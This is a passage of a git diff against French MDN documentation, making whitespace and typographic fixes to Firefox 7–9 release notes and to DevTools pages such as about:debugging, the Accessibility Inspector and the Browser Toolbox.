637253](https://bugzilla.mozilla.org/show_bug.cgi?id=637253)) -- `nsIPluginInstance` (voir [bug 637253](https://bugzilla.mozilla.org/show_bug.cgi?id=637253)) -- `nsIHTMLEditRules` (voir [bug 633750](https://bugzilla.mozilla.org/show_bug.cgi?id=633750)) -- [`nsIXSLTProcessorObsolete`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXSLTProcessorObsolete) (voir [bug 649534](https://bugzilla.mozilla.org/show_bug.cgi?id=649534)) +- `nsIPlugin` (voir [bug 637253](https://bugzilla.mozilla.org/show_bug.cgi?id=637253)) +- `nsIPluginInstance` (voir [bug 637253](https://bugzilla.mozilla.org/show_bug.cgi?id=637253)) +- `nsIHTMLEditRules` (voir [bug 633750](https://bugzilla.mozilla.org/show_bug.cgi?id=633750)) +- [`nsIXSLTProcessorObsolete`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXSLTProcessorObsolete) (voir [bug 649534](https://bugzilla.mozilla.org/show_bug.cgi?id=649534)) ### Autres changements diff --git a/files/fr/mozilla/firefox/releases/7/index.md b/files/fr/mozilla/firefox/releases/7/index.md index f7f7f54a48..35c1110d5c 100644 --- a/files/fr/mozilla/firefox/releases/7/index.md +++ b/files/fr/mozilla/firefox/releases/7/index.md @@ -89,7 +89,7 @@ Firefox 7, basé sur Gecko 7.0, est sorti le 27 september 2011. Cet article four ## Changements pour les développeurs de Mozilla et de modules complémentaires -Ces changements affectent les développeurs d'extensions ainsi que les développeurs qui travaillent sur ou avec le code de Mozilla lui-même. Les developpeurs d'extensions doivent voir [Updating extensions for Firefox 7](/fr/docs/Firefox/Updating_extensions_for_Firefox_7) pour plus d'informations. +Ces changements affectent les développeurs d'extensions ainsi que les développeurs qui travaillent sur ou avec le code de Mozilla lui-même. Les developpeurs d'extensions doivent voir [Updating extensions for Firefox 7](/fr/docs/Firefox/Updating_extensions_for_Firefox_7) pour plus d'informations. > **Note :** Firefox 7 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir [Interfaces Binaires](/fr/docs/Developer_Guide/Interface_Compatibility#Binary_Interfaces). diff --git a/files/fr/mozilla/firefox/releases/8/index.md b/files/fr/mozilla/firefox/releases/8/index.md index 5e3027b491..ff5ed80ba6 100644 --- a/files/fr/mozilla/firefox/releases/8/index.md +++ b/files/fr/mozilla/firefox/releases/8/index.md @@ -48,14 +48,14 @@ Firefox 8, basé sur Gecko 8.0, est sorti le 8 novembre 2011. Cet article fourni ### HTML -- La propriété `crossOrigin` a été ajouté à [`HTMLImageElement`](/fr/docs/Web/API/HTMLImageElement) et l'attribut [`crossorigin`](/fr/docs/Web/HTML/Element/img#attr-crossorigin) a été ajouté à l'élément [`<img>`](/fr/docs/Web/HTML/Element/img) (voir [bug 664299](https://bugzilla.mozilla.org/show_bug.cgi?id=664299)). -- La méthode [`HTMLSelectElement.add()`](</fr/docs/Web/API/HTMLSelectElement#add()>) supporte désormais supporte désormais soit un élément ou soit l'index d'un élément auquel un nouvel élément doit être inséré avant. Auparavant, seulement un élément était supporté (voir [bug 666200](https://bugzilla.mozilla.org/show_bug.cgi?id=666200)). +- La propriété `crossOrigin` a été ajouté à [`HTMLImageElement`](/fr/docs/Web/API/HTMLImageElement) et l'attribut [`crossorigin`](/fr/docs/Web/HTML/Element/img#attr-crossorigin) a été ajouté à l'élément [`<img>`](/fr/docs/Web/HTML/Element/img) (voir [bug 664299](https://bugzilla.mozilla.org/show_bug.cgi?id=664299)). +- La méthode [`HTMLSelectElement.add()`](</fr/docs/Web/API/HTMLSelectElement#add()>) supporte désormais supporte désormais soit un élément ou soit l'index d'un élément auquel un nouvel élément doit être inséré avant. Auparavant, seulement un élément était supporté (voir [bug 666200](https://bugzilla.mozilla.org/show_bug.cgi?id=666200)). - Le constructeur `HTMLIsIndexElement` a été retiré. Aucun éléments n'a implémenté cette interface depuis Firefox 4. -- la fonctionnalité HTML5 "menu contextuel" (attribut `contextmenu`), qui vous permet d'ajouter des éléments personnalisés particuliers au menu contextuel d'origine, est désormais supportée (l'implémentation est encore expérimentale en attendant des changements dans la spécification (voir [bug 617528](https://bugzilla.mozilla.org/show_bug.cgi?id=617528 'FIXED: implement the HTML5 "context menu" feature (contextmenu attribute)')). +- la fonctionnalité HTML5 "menu contextuel" (attribut `contextmenu`), qui vous permet d'ajouter des éléments personnalisés particuliers au menu contextuel d'origine, est désormais supportée (l'implémentation est encore expérimentale en attendant des changements dans la spécification (voir [bug 617528](https://bugzilla.mozilla.org/show_bug.cgi?id=617528 'FIXED: implement the HTML5 "context menu" feature (contextmenu attribute)')). - Le support de l'attribut [`accesskeylabel`](/fr/docs/HTML/Global_attributes#accesskey) a été ajouté à tous les éléments. - les éléments [`<input>`](/fr/docs/Web/HTML/Element/input) et [`<textarea>`](/fr/docs/Web/HTML/Element/textarea) supportent désormais l'attribut `selectionDirection`, et leurs méthodes `setSelectionRange()` ont été mises à jour pour supporter éventuellement la spécification d'une direction. - La plupart des éléments peuvent désormais obtenir une bague de focalisation établie autour d'eux s'ils ont été faits pouvant recevoir le focus via l'attribut `tabindex` et que l'utilisateur se concentre ensuite sur l'élément. -- Dans un ensemble d'éléments [`<label>`](/fr/docs/Web/HTML/Element/label) imbriqués, cliquer sur les événements ne déclencheront plus plusieurs éléments, qui, avant, provoquaient un blocage de Firefox (voir [bug 646157](https://bugzilla.mozilla.org/show_bug.cgi?id=646157)). +- Dans un ensemble d'éléments [`<label>`](/fr/docs/Web/HTML/Element/label) imbriqués, cliquer sur les événements ne déclencheront plus plusieurs éléments, qui, avant, provoquaient un blocage de Firefox (voir [bug 646157](https://bugzilla.mozilla.org/show_bug.cgi?id=646157)). ### DOM @@ -86,7 +86,7 @@ Firefox 8, basé sur Gecko 8.0, est sorti le 8 novembre 2011. Cet article fourni - Les règles de césure ont été ajoutées pour de nombreuses nouvelles langues lors de l'utilisation de [`hyphens`](/fr/docs/Web/CSS/hyphens). - Le traitement de [`background-size`](/fr/docs/Web/CSS/background-size) a été revu pour mieux correspondre à la spécification. - Dans le passé, [`text-decoration`](/fr/docs/Web/CSS/text-decoration) en mode quirks avait l'épaisseur de ligne et la position ajustée sur le texte descendant pour correspondre à la descendance. Désormais le mode standard et le mode quirks ont un rendu plus proche. -- Le positionnement horizontal des éléments est davantage conforme à la spécification dans beaucoup de cas. La documentation est à venir, mais pour l'instant, pour plus de détails voir le commentaire 23 du [bug 682780](https://bugzilla.mozilla.org/show_bug.cgi?id=682780). +- Le positionnement horizontal des éléments est davantage conforme à la spécification dans beaucoup de cas. La documentation est à venir, mais pour l'instant, pour plus de détails voir le commentaire 23 du [bug 682780](https://bugzilla.mozilla.org/show_bug.cgi?id=682780). - [Les images SVG sont désormais correctement mise à l'échelle](/fr/docs/CSS/Scaling_of_SVG_backgrounds) lorsqu'elles sont utilisées comme images de fond. ### Réseau @@ -104,7 +104,7 @@ Firefox 8, basé sur Gecko 8.0, est sorti le 8 novembre 2011. Cet article fourni - Le constructeur WebSocket supporte désormais un ensemble de protocoles ainsi que la chaîne d'un seul protocole. - Le contenu mixte n'est pas autorisé avec WebSockets, vous ne pouvez plus établir une connexion vers un serveur WebSocket non sécurisé à partir d'un contenu sécurisé. - Les erreurs de connexion avec WebSockets déclenchent à présent le gestionnaire `onerror`. -- L'API [WebSocket](/fr/docs/WebSockets) a été mise à jour suivant la dernière version de la spécification (voir [bug 674890](https://bugzilla.mozilla.org/show_bug.cgi?id=674890), [bug 674527](https://bugzilla.mozilla.org/show_bug.cgi?id=674527) et [bug 674716](https://bugzilla.mozilla.org/show_bug.cgi?id=674716)). +- L'API [WebSocket](/fr/docs/WebSockets) a été mise à jour suivant la dernière version de la spécification (voir [bug 674890](https://bugzilla.mozilla.org/show_bug.cgi?id=674890), [bug 674527](https://bugzilla.mozilla.org/show_bug.cgi?id=674527) et [bug 674716](https://bugzilla.mozilla.org/show_bug.cgi?id=674716)). - L'extension deflate-stream pour WebSockets a été désactivée, elle est obsolète et a cassée la compatibilité avec quelques sites. ### WebGL @@ -139,7 +139,7 @@ Voir [Updating add-ons for Firefox 8](/fr/docs/Firefox/Updating_add-ons_for_Fire ### Workers -Il n'est plus possible d'accéder à des objets XPCOM depuis ChromeWorkers. XPConnect a été désactivé dans le contexte des travailleurs comme indiqué par le [bug 649537](https://bugzilla.mozilla.org/show_bug.cgi?id=649537). +Il n'est plus possible d'accéder à des objets XPCOM depuis ChromeWorkers. XPConnect a été désactivé dans le contexte des travailleurs comme indiqué par le [bug 649537](https://bugzilla.mozilla.org/show_bug.cgi?id=649537). ### XUL diff --git a/files/fr/mozilla/firefox/releases/9/index.md b/files/fr/mozilla/firefox/releases/9/index.md index bbb8f3f8dc..817d1549c2 100644 --- a/files/fr/mozilla/firefox/releases/9/index.md +++ b/files/fr/mozilla/firefox/releases/9/index.md @@ -97,7 +97,7 @@ Firefox 9, basé sur Gecko 9.0, est sorti le 20 décembre 2011 sur Windows. La v ### MathML - La valeur non-standard `restyle` pour les attributs `actiontype` des éléments [`<maction>`](/fr/docs/Web/MathML/Element/maction) a été retirée. -- Alors qu'il n'était pas encore supporté, l'utilisation de l'élément [`<mlabeledtr>`](/fr/docs/Web/MathML/Element/mlabeledtr) ne casse plus complètement le rendu. Voir le [bug 689641](https://bugzilla.mozilla.org/show_bug.cgi?id=689641) pour l'avancement du support de cet élément. +- Alors qu'il n'était pas encore supporté, l'utilisation de l'élément [`<mlabeledtr>`](/fr/docs/Web/MathML/Element/mlabeledtr) ne casse plus complètement le rendu. Voir le [bug 689641](https://bugzilla.mozilla.org/show_bug.cgi?id=689641) pour l'avancement du support de cet élément. ### Réseau @@ -130,7 +130,7 @@ Voir [Updating add-ons for Firefox 9](/fr/docs/Firefox/Updating_add-ons_for_Fire ### Changement dans le service -- Le service de préférence du contenu gère désormais [le mode de navigation privée](/fr/docs/Using_content_preferences#private-browsing) (voir [bug 679784](https://bugzilla.mozilla.org/show_bug.cgi?id=679784)). +- Le service de préférence du contenu gère désormais [le mode de navigation privée](/fr/docs/Using_content_preferences#private-browsing) (voir [bug 679784](https://bugzilla.mozilla.org/show_bug.cgi?id=679784)). ### NSPR diff --git a/files/fr/tools/3d_view/index.html b/files/fr/tools/3d_view/index.html index 8a6203a92e..f27c651d22 100644 --- a/files/fr/tools/3d_view/index.html +++ b/files/fr/tools/3d_view/index.html @@ -85,7 +85,7 @@ original_slug: Outils/Vue_3D <p>Il y a différentes façons la vue 3D est utile :</p> <ul> - <li>Si vous avez modifié le HTML causant des problèmes de disposition, en regardant avec la vue 3D peut vous aidez à trouver où vous vous êtes trompés. Souvent, les problèmes de disposition sont causés dans l'emboîtement incorrect de contenu. Ceci peut devenir beaucoup plus évident en utilisant la vue 3D et voyant où vos éléments sont mal emboîtés.</li> + <li>Si vous avez modifié le HTML causant des problèmes de disposition, en regardant avec la vue 3D peut vous aidez à trouver où vous vous êtes trompés. Souvent, les problèmes de disposition sont causés dans l'emboîtement incorrect de contenu. Ceci peut devenir beaucoup plus évident en utilisant la vue 3D et voyant où vos éléments sont mal emboîtés.</li> <li>Si le contenu ne s'affiche pas, vous pouvez comprendre pourquoi; puisque la vue 3D vous laisse faire un zoom arrière pour voir les éléments qui rendent à l'extérieur de la zone visible de la page, vous pouvez trouver le contenu perdu cette façon.</li> <li>Vous pouvez obtenir un regard pour savoir comment votre page est structurée, pour voir s'il peut y avoir des façons d'optimiser votre disposition.</li> <li>Et, bien sûr, parce que c'est stupéfiant.</li> diff --git a/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html b/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html index f0a4e61ddb..bb4995ffc5 100644 --- a/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html +++ b/files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html @@ -20,12 +20,12 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <p>Quand about:debugging ouvre, a votre gauche, vous allez voir une barre latérale permettant de basculer entre les deux vues principales: une pour add-ons et une pour workers.</p> -<p>Que system add-ons apparaisse ou non dans la liste sur cette page dépends sur les configurations de préférences de <code>devtools.aboutdebugging.showSystemAddons</code>. Si vous devez voir system add-ons, naviguez ver <code>about:config</code> et assurez-vous que la valeur est réglée sur <code>true</code>.</p> +<p>Que system add-ons apparaisse ou non dans la liste sur cette page dépends sur les configurations de préférences de <code>devtools.aboutdebugging.showSystemAddons</code>. Si vous devez voir system add-ons, naviguez ver <code>about:config</code> et assurez-vous que la valeur est réglée sur <code>true</code>.</p> <h2 id="Add-ons">Add-ons</h2> <div class="note"> -<p>La section Add-ons dans about:debugging soutien seulement les restartless add-ons, en incluent <a href="/en-US/Add-ons/Bootstrapped_extensions">basic bootstrapped extensions</a>, <a href="/en-US/Add-ons/SDK">Add-on SDK add-ons</a>, et <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</p> +<p>La section Add-ons dans about:debugging soutien seulement les restartless add-ons, en incluent <a href="/en-US/Add-ons/Bootstrapped_extensions">basic bootstrapped extensions</a>, <a href="/en-US/Add-ons/SDK">Add-on SDK add-ons</a>, et <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</p> </div> <p>Cette page vous permet de faire deux choses :</p> @@ -40,23 +40,23 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <h3 id="Connecter_l’Add-on_Debugger"><strong>Connecter l’Add-on Debugger</strong></h3> <div class="note"> -<p>NNotez qu’en ce moment, il est recommandé d’utiliser le Browser Toolbox, pas l’Add-on Debugger, pour le débogage de WebExtensions. Regardez <a href="/en-US/Add-ons/WebExtensions/Debugging">Debugging WebExtensions</a> pour plus de détails.</p> +<p>NNotez qu’en ce moment, il est recommandé d’utiliser le Browser Toolbox, pas l’Add-on Debugger, pour le débogage de WebExtensions. Regardez <a href="/en-US/Add-ons/WebExtensions/Debugging">Debugging WebExtensions</a> pour plus de détails.</p> </div> <p>La page Add-ons dans about:debugging vous donnes une liste de tous les restartless add-ons qui sont actuellement installés (notez que cette liste pourrait avoir des add-ons inclus qui sont venus préinstaller avec votre Firefox). À côté de chaque entrée est un bouton appeler "Debug".</p> <p>Si le bouton "Debug" est désactivé, cocher la boite "Enable add-on debugging".</p> -<p>Si vous cliquez "Debug", vous allez voir un dialogue vous demandant d’accepter une connexion entrante. Cliquez "OK", et <a href="/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> va commencer dans une fenêtre séparée. Notez que parfois la fenêtre débogueur est cacher par la fenêtre principale de Firefox.</p> +<p>Si vous cliquez "Debug", vous allez voir un dialogue vous demandant d’accepter une connexion entrante. Cliquez "OK", et <a href="/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> va commencer dans une fenêtre séparée. Notez que parfois la fenêtre débogueur est cacher par la fenêtre principale de Firefox.</p> <p>{{EmbedYouTube("tGGcA3bT3VA")}}</p> -<p>Allez voir la page sure <a href="/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> pour toutes les chose vous pouvez faires avec cet outil.</p> +<p>Allez voir la page sure <a href="/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">Add-on Debugger</a> pour toutes les chose vous pouvez faires avec cet outil.</p> <div class="note"> -<p><a id="Enabling_add-on_debugging" name="Enabling_add-on_debugging">Le </a>bouton "Enable add-on debugging" fonctionne en allumant les preferences <code>devtools.chrome.enabled</code> et <code>devtools.debugger.remote-enabled</code>. Les deux préférences doivent être true pour activer add-on debugging. Cocher la boite définit les deux préférences sur <code>true</code>, et décocher les définit sur <code>false</code>.</p> +<p><a id="Enabling_add-on_debugging" name="Enabling_add-on_debugging">Le </a>bouton "Enable add-on debugging" fonctionne en allumant les preferences <code>devtools.chrome.enabled</code> et <code>devtools.debugger.remote-enabled</code>. Les deux préférences doivent être true pour activer add-on debugging. Cocher la boite définit les deux préférences sur <code>true</code>, et décocher les définit sur <code>false</code>.</p> -<p>Vous pouvez aussi modifier les préférences directement dans about:config, ou par cocher "Enable browser chrome and add-on debugging toolboxes" et "Enable remote debugging" dans <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p> +<p>Vous pouvez aussi modifier les préférences directement dans about:config, ou par cocher "Enable browser chrome and add-on debugging toolboxes" et "Enable remote debugging" dans <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p> </div> <h3 id="Charger_un_add-on_temporaire">Charger un add-on temporaire</h3> @@ -81,13 +81,13 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <h4 id="Avant_Firefox_48">Avant Firefox 48</h4> <ul> - <li>Si vous modifiez des fichiers charger à la demande, comme <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> ou <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">popups</a>, les modifications que vous faites sont détectés et ramassés automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.</li> - <li>Si vous modifiez des fichiers qui restent chargés tout le temps, comme <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background </a>vous pouvez trouver les changements vous avez faites par désactiver et réactiver l’add-on dans la page about:addons.</li> - <li>Si vous modifiez des fichiers qui sont analyses qu’à l’installation, comme le fichier <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>, vous allez devoir recommencer Firefox, et puis charger l’add-on encore.</li> + <li>Si vous modifiez des fichiers charger à la demande, comme <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> ou <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">popups</a>, les modifications que vous faites sont détectés et ramassés automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.</li> + <li>Si vous modifiez des fichiers qui restent chargés tout le temps, comme <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background </a>vous pouvez trouver les changements vous avez faites par désactiver et réactiver l’add-on dans la page about:addons.</li> + <li>Si vous modifiez des fichiers qui sont analyses qu’à l’installation, comme le fichier <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>, vous allez devoir recommencer Firefox, et puis charger l’add-on encore.</li> </ul> <div class="note"> -<p>Notez qu’avant Firefox 48, charger l’add-on encore par appuyant "Load Temporary Add-on" sans recommencer Firefox <em>ne fonctionne pas</em>.</p> +<p>Notez qu’avant Firefox 48, charger l’add-on encore par appuyant "Load Temporary Add-on" sans recommencer Firefox <em>ne fonctionne pas</em>.</p> </div> <h4 id="A_partir_de_Firefox_48">A partir de Firefox 48</h4> @@ -98,11 +98,11 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <p>De Firefox 48 et plus tard:</p> <ul> - <li>Comme avant: Si vous modifiez des fichiers charger à la demande, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> ou <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">popups</a>, les modifications sont détectées et ramassées automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.</li> + <li>Comme avant: Si vous modifiez des fichiers charger à la demande, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> ou <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">popups</a>, les modifications sont détectées et ramassées automatiquement, et vous les verrez la prochaine fois le script de contenu est charger ou le popup se montre.</li> <li>Il y a une meilleure façon de gérer les autres cas: cliquez le bouton "Reload" à côté du bouton "Debug". Cela fait ce qu’il dit: <ul> - <li>Le rechargement des scripts persistants, comme <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li> - <li>Analyser le fichier manifest.json encore, donc change à <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> ou n’importe autre clé prendras effet.</li> + <li>Le rechargement des scripts persistants, comme <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li> + <li>Analyser le fichier manifest.json encore, donc change à <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> ou n’importe autre clé prendras effet.</li> </ul> </li> </ul> @@ -113,11 +113,11 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <h2 id="Tabs">Tabs</h2> -<p>Dans Firefox 49 et plus tard, une page Tabs est disponible dans <code>about:debugging</code> — cela vous donne une liste complète de tous les onglets débogables ouverts dans l’instance courent Firefox.</p> +<p>Dans Firefox 49 et plus tard, une page Tabs est disponible dans <code>about:debugging</code> — cela vous donne une liste complète de tous les onglets débogables ouverts dans l’instance courent Firefox.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13617/about-debugging-tabs.png" style="display: block; height: 628px; margin: 0px auto; width: 900px;"></p> -<p>Chaque entrée tab à un bouton <em>Debug</em> à-côté — quand cliquer, ceci va ouvrir un toolbox spécifique à l’onglet, vous permettant de déboguer les contenus de cet onglet.</p> +<p>Chaque entrée tab à un bouton <em>Debug</em> à-côté — quand cliquer, ceci va ouvrir un toolbox spécifique à l’onglet, vous permettant de déboguer les contenus de cet onglet.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13619/about-debugging-tabs-toolbox.png" style="display: block; height: 628px; margin: 0px auto; width: 900px;"></p> @@ -132,7 +132,7 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <ul> <li>All registered <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></li> <li>All registered <a href="/en-US/docs/Web/API/SharedWorker">Shared Workers</a></li> - <li>Other workers, including <a href="/en-US/docs/Web/API/ChromeWorker">Chrome Workers</a> and <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers#Dedicated_workers">Dedicated Workers</a></li> + <li>Other workers, including <a href="/en-US/docs/Web/API/ChromeWorker">Chrome Workers</a> and <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers#Dedicated_workers">Dedicated Workers</a></li> </ul> <p>Vous pouvez connectez les outils de développeurs à chaque worker, et envoyer des notifications push au service workers.</p> @@ -152,7 +152,7 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <p><img alt="" src="https://mdn.mozillademos.org/files/14488/service-worker-status.png" style="display: block; height: 555px; margin-left: auto; margin-right: auto; width: 900px;"></p> <div class="note"> -<p>Cette section utilise une démo simple de ServiceWorker, hébergé a <a href="https://serviceworke.rs/push-simple/">https://serviceworke.rs/push-simple/</a>.</p> +<p>Cette section utilise une démo simple de ServiceWorker, hébergé a <a href="https://serviceworke.rs/push-simple/">https://serviceworke.rs/push-simple/</a>.</p> </div> <h3 id="Débogage_de_workers">Débogage de workers</h3> @@ -165,7 +165,7 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <h3 id="Enregistrement_des_workers">Enregistrement des workers</h3> -<p>Premièrement, vous n’allez voir aucun worker lister sous <em>Service Workers</em> ou <em>Shared Workers</em>. Aussitôt qu’un worker est enregistrer, la liste est mis-a-jour:</p> +<p>Premièrement, vous n’allez voir aucun worker lister sous <em>Service Workers</em> ou <em>Shared Workers</em>. Aussitôt qu’un worker est enregistrer, la liste est mis-a-jour:</p> <p>{{EmbedYouTube("wy4kyWFhFF4")}}</p> @@ -208,5 +208,5 @@ original_slug: Outils/about:debugging/about:debugging_before_Firefox_68 <ul> <li>Si vous utilisez une fenêtre Private Browsing.</li> <li>Si vos preferences d’Historique sont mis a "Never Remember History" ou "Always use private browsing mode".</li> - <li>Si la préférence de <code>dom.serviceWorkers.enable</code> est réglé sur false dans <code>about:config</code>.</li> + <li>Si la préférence de <code>dom.serviceWorkers.enable</code> est réglé sur false dans <code>about:config</code>.</li> </ul> diff --git a/files/fr/tools/accessibility_inspector/index.html b/files/fr/tools/accessibility_inspector/index.html index 50631b149e..b654fd0bd4 100644 --- a/files/fr/tools/accessibility_inspector/index.html +++ b/files/fr/tools/accessibility_inspector/index.html @@ -86,8 +86,6 @@ original_slug: Outils/Inspecteur_accessibilite <li>Lorsqu'un des panneaux a le focus, on peut déplacer le focus entre les différents éléments qui compose ce panneau grâce aux flèches haut et bas du clavier. Les flèches droite et gauche permettent de développer ou de réduire les arborescences.</li> </ul> -<p> </p> - <h3 id="Afficher_l'arbre_accessibilité_en_JSON">Afficher l'arbre accessibilité en JSON</h3> <p>Il est possible d'afficher l'arbre accessibilité en JSON avec un clic droit sur une ligne dans le panneau Accessibilité et en cliquant sur "<strong>Afficher JSON" </strong>:</p> @@ -138,19 +136,15 @@ original_slug: Outils/Inspecteur_accessibilite <p>À partir de Firefox 65, afficher cette information pour un texte aillant une image de fond complexe (i.e un dégradé), donnera une plage de valeurs de contraste. Par exemple :</p> -<p> </p> - <p><img alt="A screenshot of colour contrast highlighter where for text over gradient background with contrast satisfying the AAA WCAG guidelines." src="https://mdn.mozillademos.org/files/16460/Screen_Shot_2019-01-29_at_10.21.07.png" style="display: block; height: 434px; margin: 0px auto; width: 1484px;"></p> -<p> </p> - <p>On voit avec cette image que le niveau de contraste va de 4.72 à 5.98. Ces nombres sont suivis de la note "AAA" et d'une coche verte qui indique que le texte possède un niveau de contraste supérieur ou égal à 4.5:1 ou plus et qu'il respecte les règles de contraste amélioré, correspondant au niveau AAA.</p> <p>Voir <a href="/fr/docs/Apprendre/a11y/CSS_and_JavaScript#Color_and_color_contrast">les bonnes pratiques d'accessibilité CSS et JavaScript</a> pour plus d'informations.</p> <h3 id="Sélecteur_d'accessibilité">Sélecteur d'accessibilité</h3> -<p><a href="/fr/docs/Outils/Inspecteur/Comment/Sélectionner_un_élément">Le panneau Inspecteur pour l'inspection du code HTML</a> possède un sélecteur qui permet de choisir un élément sur la page et de le retrouver dans le DOM. De même, le panneau <em>Accessibilité</em> possède un bouton de sélection sur lequel on peut appuyer pour ensuite survoler la page et choisir un des éléments affichés afin de retrouver l'élément dans le panneau dans l'arbre d'accessibilité.</p> +<p><a href="/fr/docs/Outils/Inspecteur/Comment/Sélectionner_un_élément">Le panneau Inspecteur pour l'inspection du code HTML</a> possède un sélecteur qui permet de choisir un élément sur la page et de le retrouver dans le DOM. De même, le panneau <em>Accessibilité</em> possède un bouton de sélection sur lequel on peut appuyer pour ensuite survoler la page et choisir un des éléments affichés afin de retrouver l'élément dans le panneau dans l'arbre d'accessibilité.</p> <p>Les icônes pour les deux sélecteurs (accessibilité et inspecteur HTML) varient légèrement, comme on peut le voir dans ces deux captures d'écran :</p> diff --git a/files/fr/tools/accessibility_inspector/simulation/index.html b/files/fr/tools/accessibility_inspector/simulation/index.html index 1ac35c878b..16ff57470c 100644 --- a/files/fr/tools/accessibility_inspector/simulation/index.html +++ b/files/fr/tools/accessibility_inspector/simulation/index.html @@ -21,7 +21,7 @@ original_slug: Outils/Inspecteur_accessibilite/Simulation <p>La perte de sensibilité aux contrastes peut être causée par la cataracte, le glaucome, la rétinopathie diabétique et d'autres troubles de la rétine ; elle peut être liée à l'âge, d'origine congénitale ou due à une blessure.</p> <div class="blockIndicator note"> -<p>Pour activer cette fonctionnalité vous devez avoir activé le <em>webrender</em>. Selon votre configuration de Firefox il peut être activé par défaut. Dans l'<a href="https://support.mozilla.org/fr/kb/editeur-configuration-firefox">éditeur de configuration de Firefox</a>, assurez-vous que l'option <strong>gfx.webrender.all</strong> est définie sur <code>true</code>.<em> </em></p> +<p>Pour activer cette fonctionnalité vous devez avoir activé le <em>webrender</em>. Selon votre configuration de Firefox il peut être activé par défaut. Dans l'<a href="https://support.mozilla.org/fr/kb/editeur-configuration-firefox">éditeur de configuration de Firefox</a>, assurez-vous que l'option <strong>gfx.webrender.all</strong> est définie sur <code>true</code>.</p> </div> <p>Dans le menu <strong>Simuler</strong>, vous pouvez choisir une option à la fois dans la liste suivante :</p> diff --git a/files/fr/tools/browser_toolbox/index.html b/files/fr/tools/browser_toolbox/index.html index 0fd0e6185d..f5c9818799 100644 --- a/files/fr/tools/browser_toolbox/index.html +++ b/files/fr/tools/browser_toolbox/index.html @@ -63,11 +63,9 @@ original_slug: Outils/Boîte_à_outils_du_navigateur <p>Il est difficile de déboguer les popups, car le navigateur les cache dès que vous cliquez en dehors d'eux. Il existe un moyen de désactiver ce comportement. Cliquez sur le menu de la boîte à outils et sélectionnez <strong>Désactiver le masquage automatique des popups</strong>.</p> -<p> </p> - <p><img alt="" src="https://mdn.mozillademos.org/files/16234/popup_auto-hide.png" style="display: block; height: 249px; margin: 0px auto; width: 350px;"></p> -<p>Maintenant, lorsque vous ouvrez une fenêtre pop-up, elle reste ouverte jusqu'à ce que vous appuyiez sur la touche <kbd>Echap</kbd> . Vous pouvez utiliser le sélecteur de nœuds de l'Inspecteur pour sélectionner ce panneau, puis examiner et modifier son contenu :</p> +<p>Maintenant, lorsque vous ouvrez une fenêtre pop-up, elle reste ouverte jusqu'à ce que vous appuyiez sur la touche <kbd>Echap</kbd> . Vous pouvez utiliser le sélecteur de nœuds de l'Inspecteur pour sélectionner ce panneau, puis examiner et 